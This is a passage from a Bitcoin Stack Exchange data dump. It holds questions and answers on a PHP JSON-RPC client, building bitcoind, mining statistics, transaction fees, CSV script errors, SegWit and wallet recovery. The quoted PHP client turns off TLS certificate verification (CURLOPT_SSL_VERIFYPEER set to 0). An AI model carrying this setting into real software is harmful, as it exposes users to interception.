Sets the notification state of the object. In this state, notifications are performed, instead of requests.&#xA;     *&#xA;     * @param boolean $notification&#xA;     */&#xA;    public function setRPCNotification($notification) {&#xA;        empty($notification) ?&#xA;        $this-&amp;gt;notification = false&#xA;        :&#xA;        $this-&amp;gt;notification = true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Performs a jsonRCP request and gets the results as an array&#xA;     *&#xA;     * @param string $method&#xA;     * @param array $params&#xA;     * @return array&#xA;     */&#xA;        public function __call($method,$params) {&#xA;        // check&#xA;        if (!is_scalar($method)) {&#xA;            throw new Exception('Method name has no scalar value');&#xA;        }&#xA;&#xA;        // check&#xA;        if (is_array($params)) {&#xA;            // no keys&#xA;            $params = array_values($params);&#xA;        } else {&#xA;            throw new Exception('Params must be given as array');&#xA;        }&#xA;&#xA;        // sets notification or request task&#xA;        if ($this-&amp;gt;notification) {&#xA;            $currentId = NULL;&#xA;        } else {&#xA;            $currentId = $this-&amp;gt;id;&#xA;        }&#xA;&#xA;        // prepares the request&#xA;        $request = array(&#xA;            'method' =&amp;gt; $method,&#xA;            'params' =&amp;gt; $params,&#xA;            'id' =&amp;gt; $currentId&#xA;        );&#xA;        $request = json_encode($request);&#xA;        $this-&amp;gt;debug &amp;amp;&amp;amp; $this-&amp;gt;debug='***** Request *****'.&quot;\n&quot;.$request.&quot;\n&quot;.'***** End Of request *****'.&quot;\n\n&quot;;&#xA;&#xA;        // performs the HTTP POST&#xA;        $ch = curl_init($this-&amp;gt;url);&#xA;        // curl ssl options&#xA;        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);&#xA;        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);&#xA;        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);&#xA;        curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));&#xA;        curl_setopt($ch, CURLOPT_POST, true);&#xA;        curl_setopt($ch, CURLOPT_POSTFIELDS, $request);&#xA;        $response = json_decode(curl_exec($ch),true);&#xA;        curl_close($ch);&#xA;        // debug output&#xA;        if ($this-&amp;gt;debug) {&#xA;            echo nl2br($this-&amp;gt;debug);&#xA;        }&#xA;&#xA;        // final checks and return&#xA;        if (!$this-&amp;gt;notification) {&#xA;            // check&#xA;            if ($response['id'] != $currentId) {&#xA;                throw new Exception('Incorrect response id (request id: '.$currentId.', response id: '.$response['id'].')');&#xA;            }&#xA;            if (!is_null($response['error'])) {&#xA;                throw new Exception('Request error: '.$response['error']);&#xA;            }&#xA;            return $response['result'];&#xA;        } else {&#xA;            return true;&#xA;        }&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help me!!&lt;/p&gt;&#xA;" OwnerUserId="34882" LastActivityDate="2017-02-15T08:24:52.500" Title="JSON-RPC Connection Problem!" Tags="|bitcoind|json-rpc|connection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43780" PostTypeId="2" ParentId="43745" CreationDate="2016-04-19T11:13:41.117" Score="2" Body="&lt;p&gt;You should uninstall the installed version first completely with &lt;code&gt;sudo apt-get remove bitcoind&lt;/code&gt; before manually building the binaries from source. Make sure that you backup your wallet (and eventually Blockchain) first (so Keep your data-directory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't run the build in teh &lt;code&gt;bin&lt;/code&gt; folder! The &lt;code&gt;sudo make install&lt;/code&gt; command will install more than just the binary on your machine! Use e.g. &lt;code&gt;/home/git/bitcoin/&lt;/code&gt; to clone the repository and run your &lt;code&gt;configure&lt;/code&gt; and &lt;code&gt;make&lt;/code&gt; commands there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then instlall bitcoin like described on github. after your &lt;code&gt;make -j2&lt;/code&gt; command you should run &lt;code&gt;sudo make install&lt;/code&gt; to install bitcoind on your computer. (Binaries are intalled under &lt;code&gt;/usr/local/bin/&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed it on my raspberry Pi a week ago. Works fine :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain-sync lasts almost forever ....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If didn't use the &lt;code&gt;--disable-wallet&lt;/code&gt; flag. You could use the wallet with &lt;code&gt;bitcoin-cli&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="34901" LastActivityDate="2016-04-19T11:13:41.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43782" PostTypeId="2" ParentId="43440" CreationDate="2016-04-19T19:17:37.493" Score="2" Body="&lt;p&gt;I think you are correct, since the success/failure of each nonce to satisfy the difficulty target is binary, rather than continuous, this is a discrete probability distribution and the correct distribution should be the negative binomial.  However since the number of trials required per block is extremely large, ($&gt; 10^20$ as of this writing), it is a &lt;strong&gt;very&lt;/strong&gt; good approximation to take the &lt;a href=&quot;https://en.wikipedia.org/wiki/Negative_binomial_distribution#Poisson_distribution&quot; rel=&quot;nofollow&quot;&gt;limit $r\to\infty$ as described on the Wikipedia page&lt;/a&gt;.  This is equivalent to taking the probability of success in any one trial to be zero, while keeping the mean of the distribution fixed, and results in the Poisson distribution.  So, the difference is roughly less than 10^-20 and far to small to be measurable.&lt;/p&gt;&#xA;" OwnerUserId="15529" LastActivityDate="2016-04-19T19:17:37.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43784" PostTypeId="2" ParentId="43440" CreationDate="2016-04-19T22:34:27.010" Score="2" Body="&lt;p&gt;Each try in Bitcoin mining is stochastically independent of every other try. Both the &lt;a href=&quot;https://en.wikipedia.org/wiki/Bernoulli_process&quot; rel=&quot;nofollow&quot;&gt;Bernoulli process&lt;/a&gt; and the &lt;a href=&quot;https://en.wikipedia.org/wiki/Poisson_process&quot; rel=&quot;nofollow&quot;&gt;Poisson process&lt;/a&gt; model independent events, however, the Bernoulli process is focused on the number of binary events from a set of tries, while the Poisson process specifically focuses on the subcase where the likelihood is extremely low, and you're interested in the occurrence of a singular event. As success at mining is very unlikely, and mining starts anew after a block is discovered, the Poisson process is more applicable.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-04-19T22:34:27.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43785" PostTypeId="1" AcceptedAnswerId="43786" CreationDate="2016-04-20T10:36:10.247" Score="4" ViewCount="194" Body="&lt;p&gt;I am quite new to Bitcoin. I have a doubt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I, person A, have 1 bitcoin. I want to send 0.5 BTC to person B and 0.5 BTC to person C in a single transaction. Is it possible to do so within one single transaction? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later on, if Person C sends the same bitcoin to Person B, will it be possible for person B to recognize that the bitcoin which it now received from person B and the one which it already received from person A, originated from the same source?&lt;/p&gt;&#xA;" OwnerUserId="34941" LastEditorUserId="5406" LastEditDate="2016-04-22T13:15:24.867" LastActivityDate="2016-04-29T07:10:42.223" Title="Can a transaction have more than one recipient?" Tags="|transactions|traceability|output|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43786" PostTypeId="2" ParentId="43785" CreationDate="2016-04-20T14:09:44.163" Score="3" Body="&lt;p&gt;Yes, this is possible. Although most consumer wallets will probably not do that, they're simply meant to scan one QR code, send some coins to that address and return the remainder to a change address you own yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly sure the Bitcoin-qt GUI wallet &lt;em&gt;can&lt;/em&gt; create transactions to multiple destinations. Command line certainly can do everything.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Later on if Person C sends the same Bitcoin to Person B, will it be possible for person B to verify that, the Bitcoin which it now received from Person B and the one which it already received from Person A, were from the same source ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is possible, using a block explorer it's easy to manually trace coins.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5406" LastEditDate="2016-04-22T13:11:48.833" LastActivityDate="2016-04-22T13:11:48.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43787" PostTypeId="1" CreationDate="2016-04-20T14:52:15.940" Score="5" ViewCount="3128" Body="&lt;p&gt;I am using settxfee(0.00020) before sendtoaddress RPC call however after sending 0.042 in blockchain a fee of 0.000045 is showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set the fee properly ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="34946" LastEditorUserId="5406" LastEditDate="2016-06-20T07:44:40.950" LastActivityDate="2016-08-25T11:03:25.083" Title="Settxfee does not work in RPC" Tags="|bitcoind|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43788" PostTypeId="1" CreationDate="2016-04-20T15:06:18.407" Score="4" ViewCount="530" Body="&lt;p&gt;When a bitcoin node receive a new transaction, it rebroadcast it and stores it in its mempool. If the transaction gets into a block, then it is removed from the node's mempool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what happen when it is still unconfirmed after some blocks? How does it check which transactions to rebroadcast? Is there a priority list to choose which transaction to broadcast?&lt;/p&gt;&#xA;" OwnerUserId="19427" LastEditorUserId="5406" LastEditDate="2018-04-20T23:02:41.937" LastActivityDate="2020-08-01T00:03:30.310" Title="How do nodes rebroacast transactions" Tags="|mempool|broadcast|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43790" PostTypeId="2" ParentId="43787" CreationDate="2016-04-20T17:46:58.943" Score="4" Body="&lt;p&gt;&lt;code&gt;settxfee&lt;/code&gt; sets the transaction fee per kilobyte, as that is the relevant unit for prioritization on the network and in blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;sendtoaddress&lt;/code&gt; the size (in bytes) is not known ahead of time, so you can't set the exact fee.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-04-20T17:46:58.943" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="43791" PostTypeId="1" AcceptedAnswerId="43797" CreationDate="2016-04-20T18:38:04.317" Score="1" ViewCount="188" Body="&lt;p&gt;So, I went to localbitcoin, I met a random guy at a Starbucks gave him the money and he transfered 1BTC with his cellphone to my blockchain.info account. I thought I would have to wait at very least 10 minutes or so before the transaction would get included in the blockchain and have the first confirmation, instead the guy sent it and literally one second after that the bitcoin was there in my blockchain.info wallet, how is that possible?&lt;/p&gt;&#xA;" OwnerUserId="34582" LastEditorUserId="5406" LastEditDate="2016-04-21T07:18:48.603" LastActivityDate="2016-04-21T07:18:48.603" Title="I bought 1BTC and the transaction was instantaneously, how?" Tags="|transactions|blockchain.info|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43792" PostTypeId="2" ParentId="28263" CreationDate="2016-04-20T18:39:14.200" Score="0" Body="&lt;p&gt;I have created a custom script to calculate your profit from trading between two exchanges. You can customize the Buy and Sell price. The script also takes into account the transfer fees and Buy and sell fees. I plan on working on this script more but I want to see how much interest I receive. Would like to include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Live updates on prices from different exchanges.&lt;/li&gt;&#xA;&lt;li&gt;Quick trading with Trade Secrets and Trade Tokens.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can't wait to here the feedback.  &lt;a href=&quot;http://theark.io/projects/btcarb/&quot; rel=&quot;nofollow&quot;&gt;http://theark.io/projects/btcarb/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34952" LastActivityDate="2016-04-20T18:39:14.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43797" PostTypeId="2" ParentId="43791" CreationDate="2016-04-20T23:26:45.233" Score="3" Body="&lt;p&gt;New transactions propagate across the Bitcoin peer-to-peer network very quickly.  This is how they get to miners to be included in the block chain (confirmed), but everyone else sees them right away also.  Your web wallet software alerted you that it saw a transaction sending 1BTC to your wallet, and updated your balance accordingly, on the assumption that the transaction will eventually be confirmed.  But it should also have indicated that the transaction was not yet confirmed, with a message like &quot;unconfirmed&quot; or &quot;0 confirmations&quot;.  Seeing this, you could decide whether you're willing to let the other guy leave, or if you want him to stick around until the transaction has one or more confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, it's also possible that you were lucky and a miner found a block very quickly after receiving your transaction.  In that case it might actually have been confirmed by the time you saw it.  &lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2016-04-20T23:26:45.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43798" PostTypeId="2" ParentId="43775" CreationDate="2016-04-21T01:59:27.587" Score="1" Body="&lt;p&gt;The jsonRPC client does not handle errors from bitcoind well. &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)#PHP&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead it is recommended to use the easybitcoin php library, available on github &lt;a href=&quot;https://github.com/aceat64/EasyBitcoin-PHP&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. It's usage is simple and it outputs 404 and 500 errors properly. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require(&quot;easybitcoin.php&quot;);&#xA;$bitcoin = new Bitcoin(&quot;someusername&quot;, &quot;somepassword&quot;);&#xA;&#xA;$txid = $_GET[&quot;tx&quot;];&#xA;$txinfo = $bitcoin-&amp;gt;gettransaction($txid);&#xA;$amount = $txinfo[&quot;amount&quot;]; &#xA;echo $amount ? $amount : $bitcoin-&amp;gt;error;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26873" LastEditorUserId="26873" LastEditDate="2016-04-21T02:08:09.140" LastActivityDate="2016-04-21T02:08:09.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43799" PostTypeId="1" CreationDate="2016-04-21T09:19:40.867" Score="3" ViewCount="1902" Body="&lt;p&gt;I sent 1.5BTC in the usual way from my Armory wallet, but the transaction shows in gray as if it is still pending. When I click more details it says &quot;Not in the blockchain yet&quot;.  If I search for the transaction on blockchain.info, there is no transaction recorded against the wallet ID I was sending to. I've also tried to send another small transaction a few times for 0.01 and 0.1 BTC to see if that works, but now I just keep getting an error.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The transaction that you just executed, does not appear to have been accepted by the Bitcoin network yet. This can happen for a variety of reasons. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;On some occasions the transaction actually will succeed and this message is displayed prematurely. To confirm whether the the transaction actually succeeded, you can try this direct link to blockchain.info: &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/e7c8737734ddba96337f&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/e7c8737734ddba96337f&lt;/a&gt;... &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you do not see the transaction on that webpage within one minute, it failed and you should attempt to re-send it. If it does show up, then you do not need to do anything else -- it will show up in Armory as soon as it receives one confirmation. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the transaction did fail, it is likely because the fee is too low. Try again with a higher fee. If the problem persists, go to &quot;Help&quot; and select &quot;Submit Bug Report&quot;. Or use &quot;File&quot; -&gt; &quot;Export Log File&quot; and then attach it to a support ticket at &lt;a href=&quot;https://bitcoinarmory.com/support&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinarmory.com/support&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, the link to the armory support page is no longer active. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IN SUMMARY:&lt;/strong&gt; &lt;br&gt;&#xA;• The total amount in my wallet was reduced by 1.5001 BTC&lt;br&gt;&#xA;• In the Armory transaction list, the 1.5001 BTC shows in gray as if it is still pending. &lt;br&gt;&#xA;• I am unable to send any more bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do to retrieve the 1.5001 BTC to my wallet? Any help much appreciated. &lt;/p&gt;&#xA;" OwnerUserId="34965" LastActivityDate="2021-08-01T11:03:55.333" Title="Please help. BTC has left Armory wallet and shows as gray, but says &quot;Not in the blockchain yet&quot;" Tags="|transactions|armory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43800" PostTypeId="1" AcceptedAnswerId="43847" CreationDate="2016-04-21T13:54:45.867" Score="3" ViewCount="185" Body="&lt;p&gt;When I try to spend an utxo sent to a pay to script hash, with the script &lt;code&gt;5 OP_CHECKSEQUENCEVERIFY OP_DROP OP_PUBKEY OP_CHECKSIG&lt;/code&gt; I get the following error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli --rpcuser=bitcoinrpcuser --rpcpassword=bitcoinrpcpass --rpcport=18332 sendrawtransaction  &#xA;error code: -26&#xA;error message:&#xA;64: non-mandatory-script-verify-flag (NOPx reserved for soft-fork upgrades)&#xA;&#xA;$ bitcoin-cli --rpcuser=bitcoinrpcuser --rpcpassword=bitcoinrpcpass --rpcport=18332 decoderawtransaction  &#xA;{&#xA;  &quot;txid&quot;: &quot;c927276d8ac392b88225ae25d596b8e3f658195232200a1fe83788497bc46c66&quot;,&#xA;  &quot;size&quot;: 574,&#xA;  &quot;version&quot;: 2,&#xA;  &quot;locktime&quot;: 0,&#xA;  &quot;vin&quot;: [&#xA;    {&#xA;      &quot;txid&quot;: &quot;ea3652430512b13b5269dcee67bb3d3cb21460b7b2e51c6d846607ace6990653&quot;,&#xA;      &quot;vout&quot;: 0,&#xA;      &quot;scriptSig&quot;: {&#xA;        &quot;asm&quot;: &quot;3045022100d48af25c0e1816dd0007bdb0907ae2c4cf96602fb41a089a975eba017f9295af022000af5806f68ac0ba6ac2ada355e8f6050ccfb4d7020ff7d22788be10a07d51a9[ALL] 55b27521027690887ac2455b6b19c5f4268a8a9c09228351368b9a7643ad791282c3148759ac&quot;,&#xA;        &quot;hex&quot;: &quot;483045022100d48af25c0e1816dd0007bdb0907ae2c4cf96602fb41a089a975eba017f9295af022000af5806f68ac0ba6ac2ada355e8f6050ccfb4d7020ff7d22788be10a07d51a9012655b27521027690887ac2455b6b19c5f4268a8a9c09228351368b9a7643ad791282c3148759ac&quot;&#xA;      },&#xA;      &quot;sequence&quot;: 5&#xA;    }, &#xA;    {&#xA;      &quot;txid&quot;: &quot;ffa745b9259fcfdda916f755e68d4480a564887ae460d586a7b46db9d48c4a00&quot;,&#xA;      &quot;vout&quot;: 0,&#xA;      &quot;scriptSig&quot;: {&#xA;        &quot;asm&quot;: &quot;30450221009914d50bfcc49b1f539824c04f8bc22520906dd24be8cbf5d3c9eafd78e8b1400220305d70a8888e1b8f7bbbaef0e1b3d8d1b9509561f4fff53b194315989122ffb1[ALL] 55b27521027690887ac2455b6b19c5f4268a8a9c09228351368b9a7643ad791282c3148759ac&quot;,&#xA;        &quot;hex&quot;: &quot;4830450221009914d50bfcc49b1f539824c04f8bc22520906dd24be8cbf5d3c9eafd78e8b1400220305d70a8888e1b8f7bbbaef0e1b3d8d1b9509561f4fff53b194315989122ffb1012655b27521027690887ac2455b6b19c5f4268a8a9c09228351368b9a7643ad791282c3148759ac&quot;&#xA;      },&#xA;      &quot;sequence&quot;: 5&#xA;    }, &#xA;    {&#xA;      &quot;txid&quot;: &quot;4d47bd2d69fb8f5090ce7f3514903b60c75b2908bff980ce77a39583bd1e9207&quot;,&#xA;      &quot;vout&quot;: 0,&#xA;      &quot;scriptSig&quot;: {&#xA;        &quot;asm&quot;: &quot;30450221008fab401cba85dcc1aac10d9949ca066e8c2cd86ca153a1e0059d839372bf8f12022066c97d30d95286185497d2f9622642ef7d9e511e8c4f2686c9d12504273ac80d[ALL] 55b27521027690887ac2455b6b19c5f4268a8a9c09228351368b9a7643ad791282c3148759ac&quot;,&#xA;        &quot;hex&quot;: &quot;4830450221008fab401cba85dcc1aac10d9949ca066e8c2cd86ca153a1e0059d839372bf8f12022066c97d30d95286185497d2f9622642ef7d9e511e8c4f2686c9d12504273ac80d012655b27521027690887ac2455b6b19c5f4268a8a9c09228351368b9a7643ad791282c3148759ac&quot;&#xA;      },&#xA;      &quot;sequence&quot;: 5&#xA;    }&#xA;  ],&#xA;  &quot;vout&quot;: [&#xA;    {&#xA;      &quot;value&quot;: 0.00005430,&#xA;      &quot;n&quot;: 0,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_DUP OP_HASH160 0d98bebd47d04361d889e11a977a9ab61665d591 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;: &quot;76a9140d98bebd47d04361d889e11a977a9ab61665d59188ac&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;mgkr4TjXCGMJSpcoQGi6wDkr72NTtkuMDs&quot;&#xA;        ]&#xA;      }&#xA;    }, &#xA;    {&#xA;      &quot;value&quot;: 0.00000000,&#xA;      &quot;n&quot;: 1,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_RETURN 0131b3774cfeb0198684fce15e0fdf7709e830c9387a1ac6e99b6647&quot;,&#xA;        &quot;hex&quot;: &quot;6a1c0131b3774cfeb0198684fce15e0fdf7709e830c9387a1ac6e99b6647&quot;,&#xA;        &quot;type&quot;: &quot;nulldata&quot;&#xA;      }&#xA;    }, &#xA;    {&#xA;      &quot;value&quot;: 0.00095430,&#xA;      &quot;n&quot;: 2,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_HASH160 9c202ce4f6cafc3420271e79be29911288c51326 OP_EQUAL&quot;,&#xA;        &quot;hex&quot;: &quot;a9149c202ce4f6cafc3420271e79be29911288c5132687&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;scripthash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;2N7UjwnxwetBQB8pEaufas4bhS6wh4JjBoy&quot;&#xA;        ]&#xA;      }&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I replace the OP_CHECKSEQUENCEVERIFY with a OP_NOP I can spend it just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As demonstrated by the p2sh address &lt;a href=&quot;https://test-insight.bitpay.com/address/2N6PWjG9eFjuKcxHf8pvQdHityorvyAerFT&quot; rel=&quot;nofollow&quot;&gt;2N6PWjG9eFjuKcxHf8pvQdHityorvyAerFT&lt;/a&gt; for the script &lt;code&gt;1 OP_NOP OP_DROP OP_PUBKEY OP_CHECKSIG&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="26419" LastEditorUserId="26419" LastEditDate="2016-04-22T15:23:41.843" LastActivityDate="2016-04-25T13:02:27.823" Title="Error when trying to use OP_CHECKSEQUENCEVERIFY from bip112 on testnet" Tags="|bitcoind|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43805" PostTypeId="1" CreationDate="2016-04-21T21:59:54.933" Score="6" ViewCount="318" Body="&lt;p&gt;If I understand correctly. SegWit is one of the solutions to the full 1MB block problem that doesn't require a hard fork. But I've read this only increases the 1MB to maybe about 2-4x only. If that is the case, wouldn't we have the same problem down the line when transactions reach that level again? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2017-12-14T17:22:59.620" Title="If SegWit only increases the capacity to only 2-4x only. Wouldn't we have the same issue in a few years again?" Tags="|segregated-witness|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43807" PostTypeId="2" ParentId="43805" CreationDate="2016-04-22T05:53:41.633" Score="6" Body="&lt;p&gt;Yes we would. Segwit just gives us time to do a well-prepared hard-fork or give the opportunity/time for some other enhancement (lightning network, sidechains?) to deal with scalability properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a hard-fork for larger blocks would also just delay the problem. &lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-04-22T05:53:41.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43808" PostTypeId="1" CreationDate="2016-04-22T07:38:11.757" Score="1" ViewCount="723" Body="&lt;p&gt;n = FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364140&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p = FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE FFFFFC2F&lt;/p&gt;&#xA;&#xA;&lt;p&gt;base point of bitcoin public key x , y &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gx = 79BE667E F9DCBBAC 55A06295 CE870B07 029BFCDB 2DCE28D9 59F2815B 16F81798&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gy = 483ADA77 26A3C465 5DA4FBFC 0E1108A8 FD17B448 A6855419 9C47D08F FB10D4B8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;private key of above public key is 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;how this base point x , y formed&lt;/strong&gt; please explain in clear and brief with some example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank all&lt;/p&gt;&#xA;" OwnerUserId="26602" LastActivityDate="2016-04-22T09:50:17.463" Title="how base point of bitcoin public key x , y formed" Tags="|bitcoind|bitcoin-core|public-key|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43809" PostTypeId="1" CreationDate="2016-04-22T08:52:09.397" Score="2" ViewCount="602" Body="&lt;p&gt;I've got a multisig 2of2 wallet in copay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've one wallet correct but have lost second wallet and only have 11 of the 12 words of the seed.I'm pretty sure I miss the last one.&#xA;I've got some of the first created adresses and trying to recover using &lt;strong&gt;btcrecover&lt;/strong&gt; but throws an error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The entered address is invalid (not a Bitcoin P2PKH address; verson byte is 0x05)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Copay uses P2SH addresses for multisig addresses and I don't know hot to proceed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints?&lt;/p&gt;&#xA;" OwnerUserId="34988" LastEditorUserId="18196" LastEditDate="2016-04-23T00:30:56.753" LastActivityDate="2022-04-13T23:00:00.060" Title="How can I recover last word of BIP-32/39 mnemonic copay second signature multisig wallet" Tags="|bip32-hd-wallets|p2sh|multi-signature|mnemonic-seed|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43810" PostTypeId="2" ParentId="43808" CreationDate="2016-04-22T09:50:17.463" Score="2" Body="&lt;p&gt;They are defined by the standard. See &lt;a href=&quot;http://www.secg.org/SEC2-Ver-1.0.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.secg.org/SEC2-Ver-1.0.pdf&lt;/a&gt; page 15, section 2.7.1.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-04-22T09:50:17.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43811" PostTypeId="1" CreationDate="2016-04-22T11:46:21.943" Score="2" ViewCount="143" Body="&lt;p&gt;I'd like to put the a question to the community regarding the inherent stability/instability of Bitcoin. I hope it's not off-topic since it's more a economics-type question. So, here's the scenario in question that I think might lead to an instability: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we know Bitcoin mining is a race, whoever finds a new block first publishes that block and, if there is a fork, hopes that consensus is reached in favour of his block. The costliness of this race is the key feature of the game-theoretic aspect that makes Bitcoin safe.&#xA;Now suppose that &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;mining capacity is concentrated in the hands of a few big miners and&lt;/li&gt;&#xA;&lt;li&gt;using debt they invest heavily in order to add capacity faster&lt;/li&gt;&#xA;&lt;li&gt;and they eventually generate Bitcoin faster than the market demands.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If supply vastly outstrips demand the buying power of Bitcoin should fall considerably. If the miners' investment is based on debt the depreciation is violent enough the 'supply side' will see several, if not all of the miners go bust. Then Bitcoin will appreciate, and the cycle will repeat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This type of cycle is typical for the commodity markets, e.g. gold and oil. So here's the &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;:&#xA;Is Bitcoin susceptible to the same instability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assumptions are not too outlandish and the overall logic is sound, I think. We do see a concentration of mining power. The growth of global mining capacity is not so obvious, but there are reports of a &quot;mining capacity glut&quot;. Whether the big miners have a sound balance sheet is not known, as far as I can tell. But it's plausible that they borrow money to expand. So, potentially, all the ingredients are there 